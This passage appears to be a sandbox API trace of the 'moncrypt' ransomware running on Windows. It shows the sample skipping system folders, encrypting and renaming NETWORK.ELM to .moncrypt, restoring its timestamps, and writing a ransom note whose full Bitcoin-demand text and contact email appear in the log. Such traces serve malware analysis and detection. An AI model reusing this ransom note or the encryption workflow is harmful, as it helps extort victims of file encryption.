ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0052.382] GetLastError () returned 0x2 [0052.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.382] GlobalLock (hMem=0x440004) returned 0x550170 [0052.382] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.382] GlobalUnlock (hMem=0x440004) returned 0 [0052.382] GlobalLock (hMem=0x440004) returned 0x550170 [0052.382] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.382] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.382] GlobalUnlock (hMem=0x440004) returned 0 [0052.382] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.382] GlobalUnlock (hMem=0x44000c) returned 0 [0052.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.382] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.382] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.382] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.383] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.383] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a338, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.383] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.383] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.383] GlobalUnlock (hMem=0x44000c) returned 0 [0052.383] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.383] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.383] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.383] GlobalUnlock (hMem=0x44000c) returned 0 [0052.383] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.383] GlobalUnlock (hMem=0x440004) returned 0 [0052.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.383] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.384] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.384] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.384] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.384] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.384] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.385] GlobalLock (hMem=0x440004) returned 0x550170 [0052.385] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.385] GlobalUnlock (hMem=0x440004) returned 0 [0052.385] GlobalLock (hMem=0x440004) returned 0x550170 [0052.385] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.385] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.385] GlobalUnlock (hMem=0x440004) returned 0 [0052.385] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.385] GlobalUnlock (hMem=0x44000c) returned 0 [0052.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.385] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.385] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0052.385] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.385] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.385] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.385] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.385] GlobalUnlock (hMem=0x44000c) returned 0 [0052.385] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.385] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.385] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.385] GlobalUnlock (hMem=0x44000c) returned 0 [0052.385] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.385] GlobalUnlock (hMem=0x440004) returned 0 [0052.385] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.386] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.387] CloseHandle (hObject=0x18c) returned 1 [0052.387] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\я")) returned 1 [0052.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 0x54e240 [0052.388] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.388] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.388] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", dwFileAttributes=0x20) returned 1 [0052.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.moncrypt")) returned 1 [0052.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.390] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.390] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xc649 [0052.390] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.390] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.392] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.392] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.392] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.392] GlobalUnlock (hMem=0x44000c) returned 0 [0052.392] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0052.392] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.392] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.392] GlobalUnlock (hMem=0x44000c) returned 0 [0052.393] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.393] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.393] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.393] GlobalUnlock (hMem=0x440004) returned 0 [0052.393] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.393] GlobalUnlock (hMem=0x44000c) returned 0 [0052.393] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.393] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.393] GlobalUnlock (hMem=0x44000c) returned 0 [0052.393] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.393] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.393] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.393] GlobalUnlock (hMem=0x44000c) returned 0 [0052.393] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.393] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.393] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.393] SetFilePointer (in: hFile=0x18c, lDistanceToMove=50761, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xc649 [0052.393] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.393] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.393] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.405] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.405] CloseHandle (hObject=0x18c) returned 1 [0052.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.406] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.406] CloseHandle (hObject=0x18c) returned 1 [0052.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.406] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.406] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.406] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.406] GlobalUnlock (hMem=0x44000c) returned 0 [0052.406] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.406] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.407] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.407] GlobalUnlock (hMem=0x44000c) returned 0 [0052.407] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.407] GlobalUnlock (hMem=0x440004) returned 0 [0052.407] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a2e8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.407] GetLastError () returned 0x2 [0052.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.409] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.410] CloseHandle (hObject=0x18c) returned 1 [0052.411] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0052.411] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.411] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.411] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.411] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.411] GlobalUnlock (hMem=0x440004) returned 0 [0052.411] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.411] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.411] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.411] GlobalUnlock (hMem=0x440004) returned 0 [0052.411] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.411] GlobalUnlock (hMem=0x44000c) returned 0 [0052.411] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.411] CharLowerBuffW (in: lpsz="NETWORK.INF", cchLength=0xb | out: lpsz="network.inf") returned 0xb [0052.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", 